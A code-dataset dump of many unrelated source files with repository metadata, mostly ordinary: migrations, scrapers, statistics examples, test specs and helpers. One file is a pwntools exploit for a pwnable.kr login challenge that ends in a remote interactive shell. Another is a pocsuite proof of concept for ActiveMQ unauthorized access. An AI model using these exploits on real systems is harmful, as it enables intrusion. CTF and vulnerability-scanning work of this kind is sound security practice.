hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
76ed015600a176bb0812687a7b45d7bcbe8f5c2d
422
py
Python
supplies_request/migrations/0002_alter_suppliesrequest_provider.py
TronTrig/local_finances
137db01f1ad5d64296f777556165337eda5c1d4e
[ "MIT" ]
2
2021-10-03T01:34:31.000Z
2021-10-03T01:34:35.000Z
supplies_request/migrations/0002_alter_suppliesrequest_provider.py
TronTrig/local_finances
137db01f1ad5d64296f777556165337eda5c1d4e
[ "MIT" ]
null
null
null
supplies_request/migrations/0002_alter_suppliesrequest_provider.py
TronTrig/local_finances
137db01f1ad5d64296f777556165337eda5c1d4e
[ "MIT" ]
null
null
null
# Generated by Django 3.2.7 on 2021-10-03 15:25 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('supplies_request', '0001_initial'), ] operations = [ migrations.AlterField( model_name='suppliesrequest', name='prov...
22.210526
77
0.620853
44
422
5.840909
0.840909
0
0
0
0
0
0
0
0
0
0
0.070968
0.265403
422
18
78
23.444444
0.758065
0.106635
0
0
1
0
0.16
0
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
76effda9a926b43bc9eb13f68ac9f0bf5e51d72d
312
py
Python
Pwnable/pwnable.kr/rookiss/simple login/login.py
kamithanthanh/hacmao.github.io
87b06df827cc65f737831301bae1d5f3a2d014ff
[ "MIT" ]
1
2019-06-02T02:52:32.000Z
2019-06-02T02:52:32.000Z
Pwnable/pwnable.kr/rookiss/simple login/login.py
kamithanthanh/hacmao.github.io
87b06df827cc65f737831301bae1d5f3a2d014ff
[ "MIT" ]
null
null
null
Pwnable/pwnable.kr/rookiss/simple login/login.py
kamithanthanh/hacmao.github.io
87b06df827cc65f737831301bae1d5f3a2d014ff
[ "MIT" ]
1
2019-06-01T16:10:59.000Z
2019-06-01T16:10:59.000Z
from pwn import * from base64 import b64encode #sh = process("./login") sh = remote("pwnable.kr",9003) correct = p32(0x0804925F) input_addr = p32(0x0811EB40 ) inp = p32(0xDEADBEEF) + correct + input_addr print sh.recv() #raw_input("DEBUG") sh.sendline(b64encode(inp)) print sh.recv() sh.interactive()
22.285714
46
0.705128
43
312
5.046512
0.604651
0.082949
0.101382
0
0
0
0
0
0
0
0
0.120301
0.147436
312
13
47
24
0.695489
0.134615
0
0.2
0
0
0.037313
0
0
0
0.11194
0
0
0
null
null
0
0.2
null
null
0.2
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
76f094a75ea892501c43560ec0b4a33b5c34c819
989
py
Python
example/Async API/Audio API/process_audio_file.py
mountaincode2/symbl-python
c46f3eac5d92be50e7ecb92b782619544a5af58e
[ "Apache-2.0" ]
null
null
null
example/Async API/Audio API/process_audio_file.py
mountaincode2/symbl-python
c46f3eac5d92be50e7ecb92b782619544a5af58e
[ "Apache-2.0" ]
null
null
null
example/Async API/Audio API/process_audio_file.py
mountaincode2/symbl-python
c46f3eac5d92be50e7ecb92b782619544a5af58e
[ "Apache-2.0" ]
null
null
null
import symbl file = "<file_path>" ''' like this you can pass the parameter params = { 'name': "Meeting", 'enableSpeakerDiarization': "true", "diarizationSpeakerCount": "2", "channelMetadata": [ { "channel": 1, "speaker": { "name": "Robert ...
27.472222
74
0.541962
84
989
6.22619
0.535714
0.195029
0.229446
0.110899
0.172084
0.172084
0.172084
0.172084
0
0
0
0.004471
0.321537
989
35
75
28.257143
0.774963
0.175935
0
0
0
0
0.082707
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0.25
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
76f0c0a75f6ce8135f3396c191a85e058cdcb9e1
3,103
py
Python
python3/715.range-module.211665549.ac.py
Diego-Zulu/leetcode_answers
ad435df1bd95fb2c6e17d2d9ff349282c98ee0f4
[ "MIT" ]
null
null
null
python3/715.range-module.211665549.ac.py
Diego-Zulu/leetcode_answers
ad435df1bd95fb2c6e17d2d9ff349282c98ee0f4
[ "MIT" ]
null
null
null
python3/715.range-module.211665549.ac.py
Diego-Zulu/leetcode_answers
ad435df1bd95fb2c6e17d2d9ff349282c98ee0f4
[ "MIT" ]
null
null
null
# # @lc app=leetcode id=715 lang=python3 # # [715] Range Module # # https://leetcode.com/problems/range-module/description/ # # algorithms # Hard (38.13%) # Likes: 399 # Dislikes: 32 # Total Accepted: 17.1K # Total Submissions: 45K # Testcase Example: '["RangeModule","addRange","removeRange","queryRange","queryR...
33.010638
106
0.672575
449
3,103
4.608018
0.300668
0.039149
0.034799
0.029
0.351377
0.269696
0.22088
0.195747
0.183664
0.155631
0
0.044563
0.211731
3,103
93
107
33.365591
0.800899
0.618112
0
0.461538
0
0.038462
0.039146
0.039146
0
0
0
0
0
0
null
null
0
0
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
76f14c9ae66e322bbe826a5b7d9fa75ac1dc804e
20,146
py
Python
examples/python/statespace_sarimax_stata.py
diego-mazon/statsmodels
af8b5b5dc78acb600ffd08cda6bd9b1ca5200e10
[ "BSD-3-Clause" ]
null
null
null
examples/python/statespace_sarimax_stata.py
diego-mazon/statsmodels
af8b5b5dc78acb600ffd08cda6bd9b1ca5200e10
[ "BSD-3-Clause" ]
1
2019-07-29T08:35:08.000Z
2019-07-29T08:35:08.000Z
examples/python/statespace_sarimax_stata.py
ozeno/statsmodels
9271ced806b807a4dd325238df38b60f1aa363e2
[ "BSD-3-Clause" ]
null
null
null
# coding: utf-8 # DO NOT EDIT # Autogenerated from the notebook statespace_sarimax_stata.ipynb. # Edit the notebook and then sync the output with this file. # # flake8: noqa # DO NOT EDIT # # SARIMAX: Introduction # This notebook replicates examples from the Stata ARIMA time series # estimation and postestimation do...
36.762774
79
0.701529
3,377
20,146
4.110453
0.169381
0.005331
0.008573
0.012967
0.281464
0.239968
0.201498
0.184065
0.162452
0.140552
0
0.034464
0.163209
20,146
547
80
36.829982
0.788943
0.747841
0
0.262626
1
0
0.152393
0
0
0
0
0
0
1
0
false
0
0.080808
0
0.080808
0.050505
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
76f74e6444027c0f33a57b522444a18d192b685e
1,758
py
Python
app.py
gordonnchy/kamusi
61600f9fac1d7a1fe74b1a48add55545f3f98e47
[ "MIT" ]
8
2021-11-11T10:49:41.000Z
2022-01-13T16:34:54.000Z
app.py
gordonnchy/kamusi
61600f9fac1d7a1fe74b1a48add55545f3f98e47
[ "MIT" ]
2
2021-11-12T05:47:14.000Z
2021-11-12T07:12:02.000Z
app.py
gordonnchy/kamusi
61600f9fac1d7a1fe74b1a48add55545f3f98e47
[ "MIT" ]
2
2021-11-12T06:30:25.000Z
2022-03-03T07:38:51.000Z
import time import pandas as pd from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Chrome() base_url = "http://kamusi.appsmata.com" def login(email, password): # Login to the website driver.get(f"{base_url}/login") time.sleep(5...
23.756757
72
0.652446
273
1,758
4.03663
0.304029
0.049002
0.025408
0.051724
0.282214
0.240472
0.205989
0.160617
0.160617
0.160617
0
0.0124
0.220137
1,758
73
73
24.082192
0.791393
0.122298
0
0.0625
0
0.0625
0.199086
0.13577
0
0
0
0
0
1
0.104167
false
0.0625
0.104167
0
0.3125
0.020833
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
76f75d10c04981c8a238eeb592210c2456e757ea
4,141
py
Python
vul/32-ActiveMQ-unauthorized-access.py
zx273983653/vulscan
787397e267c4e6469522ee0abe55b3e98f968d4a
[ "MIT" ]
582
2019-02-23T09:23:33.000Z
2022-03-31T04:42:08.000Z
vul/32-ActiveMQ-unauthorized-access.py
git-wsf/vulscan
112f8d6104daecfaaad579f73029a26d56aaa9b3
[ "MIT" ]
6
2019-03-20T10:37:48.000Z
2020-03-10T06:20:07.000Z
vul/32-ActiveMQ-unauthorized-access.py
git-wsf/vulscan
112f8d6104daecfaaad579f73029a26d56aaa9b3
[ "MIT" ]
183
2019-02-23T06:00:18.000Z
2022-03-20T02:17:57.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) See the file 'docs/COPYING' for copying permission """ #命令行 from pocsuite import pocsuite_cli #验证模块 from pocsuite import pocsuite_verify #攻击模块 from pocsuite import pocsuite_attack #控制台模式 from pocsuite impo...
34.22314
115
0.535136
462
4,141
4.690476
0.45671
0.044301
0.033226
0.047993
0.108906
0.086756
0.059068
0.035994
0.035994
0
0
0.033224
0.338566
4,141
120
116
34.508333
0.757941
0.118329
0
0.069767
0
0.011628
0.268174
0.063251
0
0
0
0
0
0
null
null
0
0.104651
null
null
0.05814
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
76f77ee87abc1bea25e8f8dbd4cf287abf689f2b
788
py
Python
venv/Classes/aula07a.py
jonassignoreti/Python-CursoemVideo
24f5932bed2fe98308321be7dd9326e65a942d4b
[ "MIT" ]
null
null
null
venv/Classes/aula07a.py
jonassignoreti/Python-CursoemVideo
24f5932bed2fe98308321be7dd9326e65a942d4b
[ "MIT" ]
null
null
null
venv/Classes/aula07a.py
jonassignoreti/Python-CursoemVideo
24f5932bed2fe98308321be7dd9326e65a942d4b
[ "MIT" ]
null
null
null
# OPERADORES ARITMÉTICOS n1 = int(input('Digite um número: ')) n2 = int(input('Digite outro número: ')) # + Adição print('Adição', n1+n2) # - Subtração print('Subtração', n1-n2) # * Multiplicação print('Multiplicação', n1*n2) # / Divisão print('Divisão', n1/n2) # ** Potenciação print('Potenciação', n1**n2) print('Poten...
25.419355
72
0.673858
109
788
4.853211
0.40367
0.060491
0.079395
0
0
0
0
0
0
0
0
0.048889
0.143401
788
30
73
26.266667
0.734815
0.486041
0
0
0
0
0.390181
0
0
0
0
0
0
1
0
false
0
0
0
0
0.833333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
1
76f8f2340530817e3f26fde49578741a0460f7fe
518
py
Python
setup.py
mlaizure/dragonfly
fc1de72b1f80777beec3ca489276f8f0abc684dc
[ "MIT" ]
1
2021-05-29T14:22:29.000Z
2021-05-29T14:22:29.000Z
setup.py
mlaizure/dragonfly
fc1de72b1f80777beec3ca489276f8f0abc684dc
[ "MIT" ]
null
null
null
setup.py
mlaizure/dragonfly
fc1de72b1f80777beec3ca489276f8f0abc684dc
[ "MIT" ]
null
null
null
import setuptools # sets package info using setuptools module setuptools.setup( name='git-dragonfly', version='0.1.12', description='Bug analysis on Git repositories', author='Finn Aspenson, Corbin Vandeventer, Maddi Laizure', url='https://mlaizure.github.io/dragonfly/', packages=setuptools.fin...
24.666667
62
0.640927
52
518
6.307692
0.826923
0
0
0
0
0
0
0
0
0
0
0.010127
0.237452
518
20
63
25.9
0.820253
0.079151
0
0
0
0
0.423158
0
0
0
0
0
0
1
0
true
0
0.055556
0
0.055556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
76fa8c5f2c8737678f1e7bdf459c5934aaf4f061
517
py
Python
blender/arm/logicnode/variable_trait.py
DsmMatt/armory
3fa9321016f6e83b2c1009e5ce220566fb35011e
[ "Zlib" ]
1
2018-12-04T05:33:53.000Z
2018-12-04T05:33:53.000Z
blender/arm/logicnode/variable_trait.py
DsmMatt/armory
3fa9321016f6e83b2c1009e5ce220566fb35011e
[ "Zlib" ]
null
null
null
blender/arm/logicnode/variable_trait.py
DsmMatt/armory
3fa9321016f6e83b2c1009e5ce220566fb35011e
[ "Zlib" ]
null
null
null
import bpy from bpy.props import * from bpy.types import Node, NodeSocket from arm.logicnode.arm_nodes import * class TraitNode(Node, ArmLogicTreeNode): '''Trait node''' bl_idname = 'LNTraitNode' bl_label = 'Trait' bl_icon = 'GAME' property0 = StringProperty(name='', default='') def init(...
24.619048
53
0.680851
61
517
5.672131
0.622951
0.040462
0
0
0
0
0
0
0
0
0
0.004785
0.191489
517
20
54
25.85
0.822967
0.019342
0
0
0
0
0.115768
0
0
0
0
0
0
1
0.142857
false
0
0.285714
0
0.785714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
76fae6548ff569c162e394813effde94ede76464
2,321
py
Python
nipype/interfaces/mrtrix3/tests/test_auto_DWIPreproc.py
sulantha2006/nipype
87ab436765eddb8a6e9fc27c55f3c963128f9cfd
[ "Apache-2.0" ]
null
null
null
nipype/interfaces/mrtrix3/tests/test_auto_DWIPreproc.py
sulantha2006/nipype
87ab436765eddb8a6e9fc27c55f3c963128f9cfd
[ "Apache-2.0" ]
1
2021-01-21T21:36:37.000Z
2021-01-22T20:45:53.000Z
nipype/interfaces/mrtrix3/tests/test_auto_DWIPreproc.py
shnizzedy/nipype
47fe00b387e205f3f884691a208ef7f20df4119f
[ "Apache-2.0" ]
1
2020-01-17T17:30:26.000Z
2020-01-17T17:30:26.000Z
# AUTO-GENERATED by tools/checkspecs.py - DO NOT EDIT from ..preprocess import DWIPreproc def test_DWIPreproc_inputs(): input_map = dict( align_seepi=dict(argstr="-align_seepi"), args=dict(argstr="%s"), bval_scale=dict(argstr="-bvalue_scaling %s"), eddy_options=dict(argstr='-eddy_o...
42.2
85
0.635933
295
2,321
4.810169
0.261017
0.162086
0.105708
0.103594
0.35377
0.326991
0.293164
0.258633
0.147992
0.077519
0
0.001633
0.208531
2,321
54
86
42.981481
0.770822
0.021973
0
0.085106
1
0
0.116843
0
0
0
0
0
0.042553
1
0.042553
false
0
0.021277
0
0.06383
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
76fe8d5223147f01dda02b96b784b3af55d9e3b2
621
py
Python
api/schemas.py
pouriamokhtari/dcservice
79c3ebc518a34e261036fba55713088f856560c1
[ "MIT" ]
5
2022-01-20T15:18:40.000Z
2022-02-04T10:22:32.000Z
api/schemas.py
pouriamokhtari/dcservice
79c3ebc518a34e261036fba55713088f856560c1
[ "MIT" ]
null
null
null
api/schemas.py
pouriamokhtari/dcservice
79c3ebc518a34e261036fba55713088f856560c1
[ "MIT" ]
null
null
null
""" schema definition for task api """ from typing import Dict, Optional from pydantic import BaseModel class Task(BaseModel): """ a task unit to be started """ tool: str args: Dict[str, str] = {} stdin: Optional[str] = "" class TaskResult(BaseModel): """ an started task report ...
13.5
33
0.574879
73
621
4.890411
0.452055
0.084034
0.078431
0.084034
0.235294
0.235294
0.235294
0.235294
0.235294
0.235294
0
0
0.302738
621
45
34
13.8
0.82448
0.206119
0
0.529412
0
0
0
0
0
0
0
0
0
1
0
true
0
0.117647
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0a035627fbdc543dc9f2bb811fec8f600d4d8880
18,124
py
Python
ready_patterns.py
mostobriv/IDAXrefXplorer
c570423ee8209a0284e7ea620a4f3b8ca7cdff9e
[ "MIT" ]
null
null
null
ready_patterns.py
mostobriv/IDAXrefXplorer
c570423ee8209a0284e7ea620a4f3b8ca7cdff9e
[ "MIT" ]
null
null
null
ready_patterns.py
mostobriv/IDAXrefXplorer
c570423ee8209a0284e7ea620a4f3b8ca7cdff9e
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from ast_helper import * import idaapi import ida_name import ida_bytes import ida_struct import ida_typeinf import idc strlen_global = """Patterns.ChainPattern([ Patterns.ExprInst(Patterns.AsgnExpr(Patterns.VarBind("t1"), Patterns.ObjBind("strlenarg"))), Patterns.DoInst(Patterns.LnotE...
32.191829
121
0.558486
2,083
18,124
4.672108
0.170907
0.017263
0.041924
0.036169
0.447185
0.36344
0.321619
0.286067
0.263152
0.263152
0
0.015228
0.300706
18,124
563
122
32.191829
0.752643
0.152891
0
0.379953
0
0.009324
0.425766
0.145084
0
0
0.003052
0
0
0
null
null
0.002331
0.034965
null
null
0.076923
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0a039bb065423d99f615ef50af86ca0eb9afd40a
296
py
Python
docs/src/tutorial/1_stats.py
kabirkhan/recon
19a7c3c644c4e5833fb326958ee090343a45352a
[ "MIT" ]
4
2020-11-27T10:31:14.000Z
2021-05-21T11:03:08.000Z
docs/src/tutorial/1_stats.py
kabirkhan/recon
19a7c3c644c4e5833fb326958ee090343a45352a
[ "MIT" ]
null
null
null
docs/src/tutorial/1_stats.py
kabirkhan/recon
19a7c3c644c4e5833fb326958ee090343a45352a
[ "MIT" ]
1
2020-11-27T10:29:14.000Z
2020-11-27T10:29:14.000Z
from pathlib import Path import typer from recon.loaders import read_jsonl from recon.stats import get_ner_stats def main(data_file: Path): data = read_jsonl(data_file) get_ner_stats(data) print(get_ner_stats(data, serialize=True)) if __name__ == "__main__": typer.run(main)
18.5
46
0.75
46
296
4.434783
0.478261
0.088235
0.161765
0.147059
0
0
0
0
0
0
0
0
0.165541
296
15
47
19.733333
0.825911
0
0
0
0
0
0.027027
0
0
0
0
0
0
1
0.1
false
0
0.4
0
0.5
0.1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
0a0c9b1d931e8f1780b3971436176cf7887b7ef0
421
py
Python
uix/_.py
hamdielhamdi/vanilla
ed299d706a32b353a2c98464771134fa98e74ce9
[ "MIT" ]
4
2019-11-28T11:47:27.000Z
2019-12-18T11:15:41.000Z
uix/_.py
hamdielhamdi/vanilla
ed299d706a32b353a2c98464771134fa98e74ce9
[ "MIT" ]
null
null
null
uix/_.py
hamdielhamdi/vanilla
ed299d706a32b353a2c98464771134fa98e74ce9
[ "MIT" ]
null
null
null
import pymongo from vanilla.uix.db.database import connect, get_all def providers(): conn = connect() all_ = get_all(conn) pro = set([prov['provider'] for prov in all_]) return [{'count': conn.posts.find({'provider': p}).count(), 'provider': p, 'last': [date['script_ex_day'] for date in conn....
32.384615
118
0.63658
61
421
4.262295
0.52459
0.103846
0.1
0.161538
0.169231
0
0
0
0
0
0
0.002933
0.190024
421
12
119
35.083333
0.759531
0
0
0
0
0
0.159145
0
0
0
0
0
0
1
0.111111
false
0
0.222222
0
0.444444
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a127785a9fb6f3782b447ba3c663811f7f0dc9b
12,240
py
Python
inspectors/archives.py
divergentdave/inspectors-general
611d5ab2009390076ff59d3a638fc0cf8c23dbd4
[ "CC0-1.0" ]
null
null
null
inspectors/archives.py
divergentdave/inspectors-general
611d5ab2009390076ff59d3a638fc0cf8c23dbd4
[ "CC0-1.0" ]
null
null
null
inspectors/archives.py
divergentdave/inspectors-general
611d5ab2009390076ff59d3a638fc0cf8c23dbd4
[ "CC0-1.0" ]
null
null
null
#!/usr/bin/env python import datetime import logging import os import re from urllib.parse import urljoin from utils import utils, inspector, admin # https://www.archives.gov/oig/ archive = 2005 # options: # standard since/year options for a year range to fetch from. # # Notes for IG's web team: # - List more tha...
39.869707
106
0.690523
1,796
12,240
4.615256
0.116927
0.223911
0.055495
0.016045
0.375437
0.324768
0.300398
0.281819
0.205815
0.205815
0
0.113692
0.138399
12,240
306
107
40
0.672293
0.028513
0
0.321705
0
0
0.280327
0.053624
0
0
0
0
0
1
0.015504
false
0.011628
0.023256
0
0.073643
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a12e6d6b5f1390b25054bad124d1d913b58d504
2,762
py
Python
imagersite/imager_images/migrations/0003_auto_20170626_1847.py
Casey0Kane/django-imager
307e85acaeb4e5f37b8e4391f6b991dcb3acf5f1
[ "MIT" ]
null
null
null
imagersite/imager_images/migrations/0003_auto_20170626_1847.py
Casey0Kane/django-imager
307e85acaeb4e5f37b8e4391f6b991dcb3acf5f1
[ "MIT" ]
null
null
null
imagersite/imager_images/migrations/0003_auto_20170626_1847.py
Casey0Kane/django-imager
307e85acaeb4e5f37b8e4391f6b991dcb3acf5f1
[ "MIT" ]
1
2017-07-18T21:18:56.000Z
2017-07-18T21:18:56.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.2 on 2017-06-26 18:47 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_depende...
38.901408
142
0.589066
269
2,762
5.869888
0.345725
0.045598
0.101963
0.119696
0.492717
0.457251
0.319189
0.229259
0.229259
0.168461
0
0.019345
0.270094
2,762
70
143
39.457143
0.763889
0.02462
0
0.380952
1
0
0.146042
0.027127
0
0
0
0
0
1
0
false
0
0.063492
0
0.111111
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a15945524c3693bd4354f937e40dfea075ba9b1
9,656
py
Python
Lib/site-packages/win32/lib/sspi.py
rbuzatu90/hyperv-python
82bf5a72b4d956ea05affe1644b47e378dec0f4e
[ "bzip2-1.0.6" ]
5
2018-07-20T08:47:47.000Z
2021-02-17T23:42:37.000Z
Lib/site-packages/win32/lib/sspi.py
rbuzatu90/hyperv-python
82bf5a72b4d956ea05affe1644b47e378dec0f4e
[ "bzip2-1.0.6" ]
9
2019-09-06T18:21:59.000Z
2022-01-13T03:04:11.000Z
Lib/site-packages/win32/lib/sspi.py
rbuzatu90/hyperv-python
82bf5a72b4d956ea05affe1644b47e378dec0f4e
[ "bzip2-1.0.6" ]
2
2019-09-02T08:39:24.000Z
2019-09-02T18:39:32.000Z
""" Helper classes for SSPI authentication via the win32security module. SSPI authentication involves a token-exchange "dance", the exact details of which depends on the authentication provider used. There are also a number of complex flags and constants that need to be used - in most cases, there are reasonable defa...
42.537445
98
0.67326
1,119
9,656
5.618409
0.238606
0.04724
0.020996
0.035311
0.543662
0.529664
0.512168
0.477811
0.459997
0.459997
0
0.012155
0.250207
9,656
226
99
42.725664
0.856215
0.104909
0
0.490066
0
0
0.013577
0
0
0
0
0
0.006623
0
null
null
0
0.006623
null
null
0.006623
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0a163a8599085c030f098c640858c9852d776fe2
7,269
py
Python
benchmarks/results/get-relevant-data.py
Maiux92/gem5-NVM-multiple-memory-spaces
0996bfd34638a7f3f05382cc1e7a813a177eed7f
[ "MIT" ]
3
2021-04-24T16:08:00.000Z
2022-03-22T22:07:40.000Z
benchmarks/results/get-relevant-data.py
Maiux92/gem5-NVM-multiple-memory-spaces
0996bfd34638a7f3f05382cc1e7a813a177eed7f
[ "MIT" ]
null
null
null
benchmarks/results/get-relevant-data.py
Maiux92/gem5-NVM-multiple-memory-spaces
0996bfd34638a7f3f05382cc1e7a813a177eed7f
[ "MIT" ]
1
2021-03-25T16:55:08.000Z
2021-03-25T16:55:08.000Z
import json import os import sys from collections import defaultdict if len(sys.argv) != 2: print('Usage: {} directory'.format(sys.argv[0])) sys.exit(0) parent_dir = sys.argv[1] if not os.path.isdir(parent_dir): print('Directory {} not found!'.format(parent_dir)) sys.exit(0) os.chdir(parent_dir) f...
37.469072
102
0.695832
911
7,269
5.268935
0.148189
0.088125
0.156667
0.15125
0.581042
0.553958
0.424792
0.203333
0.133333
0.105
0
0.0146
0.180217
7,269
193
103
37.663212
0.790905
0
0
0.013793
0
0
0.53116
0.506535
0
0
0
0
0
1
0.013793
false
0
0.027586
0
0.062069
0.013793
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a1793c08d0c0753eba0dcd8af2eb42021f8c28b
3,240
py
Python
custom_mns/easybuild_mns_lc.py
qldhpc/eb_local
b4d968978ee4e2ff5222a42d5a9c83f9874f1057
[ "Apache-2.0" ]
null
null
null
custom_mns/easybuild_mns_lc.py
qldhpc/eb_local
